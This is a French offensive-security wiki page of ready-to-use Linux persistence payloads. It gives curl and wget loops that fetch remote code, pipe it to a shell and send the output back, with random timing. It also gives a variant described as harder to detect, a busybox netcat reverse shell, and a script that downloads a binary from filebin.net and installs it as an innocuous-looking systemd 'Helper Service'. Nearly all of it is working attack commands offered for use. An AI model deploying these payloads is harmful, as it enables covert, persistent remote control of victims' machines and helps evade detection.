Linux

- [[Persistence/Linux] Payloads]

[Persistence/Linux] Payloads

Introduction

Cette page référence quelque payloads prêt à l'emploi pour de la persistance Linux.

Payloads

curl

Le payload suivant va récupérer la charge sur le serveur web de l'attaquant toutes les 60 secondes et l'exécuter :

```
while true; do curl -s http://localhost|sh; sleep 60; done
```

> L'avantage c'est que vous pouvez changer la charge côté attaquant et ne pas forcément déclencher directement un revshell.

Voici la version améliorée pour obtenir le résultat de la commande dans une deuxième requête :

```
while true;do d=$(curl -s http://localhost|sh);curl -s http://localhost/?d=$d;sleep 3;done
```

Voici une version qui rajoute un délai aléatoire entre 1 et 10 secondes entre chaque requête :

```
while true;do sleep $(( 1 + RANDOM % 10 ));curl -s http://localhost|sh;done
```

> À noter que vous pouvez rajouter le caractère **&** à la fin du payload pour le lancer dans un nouveau process.

Voici une version où le **|sh** (pipe) a été remplacé par **sh -c <<<** qui est souvent bien moins détecté et connu :

```
while true;do sleep $(( 1+RANDOM%3 ));d=$(curl -s http://localhost);d=$(sh -c<<<echo $d);curl -s http://localhost/?d=$d;done
```

wget

Voici la version wget du payload ci-dessus :

```
while true; do wget -qO - http://localhost|sh; sleep 60; done
```

busybox revshell

- Côté attaquant :

```
busybox nc -lvp 4444
```

- Côté victime :

```
busybox nc localhost 4444
```

Ou alors pour détacher le process :

```
busybox nc localhost 4444 &
```

Complete service installer

```
#!/bin/bash

curl -L -o /opt/helper https://filebin.net/s8x3on788xduimqf/helper
chmod +x /opt/helper

cat <<EOF > /etc/systemd/system/helper.service
[Unit]
Description=Helper Service
After=network.target

[Service]
Type=simple
ExecStart=/opt/helper
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF
```

```
systemctl daemon-reload
systemctl enable helper.service
systemctl start helper.service
```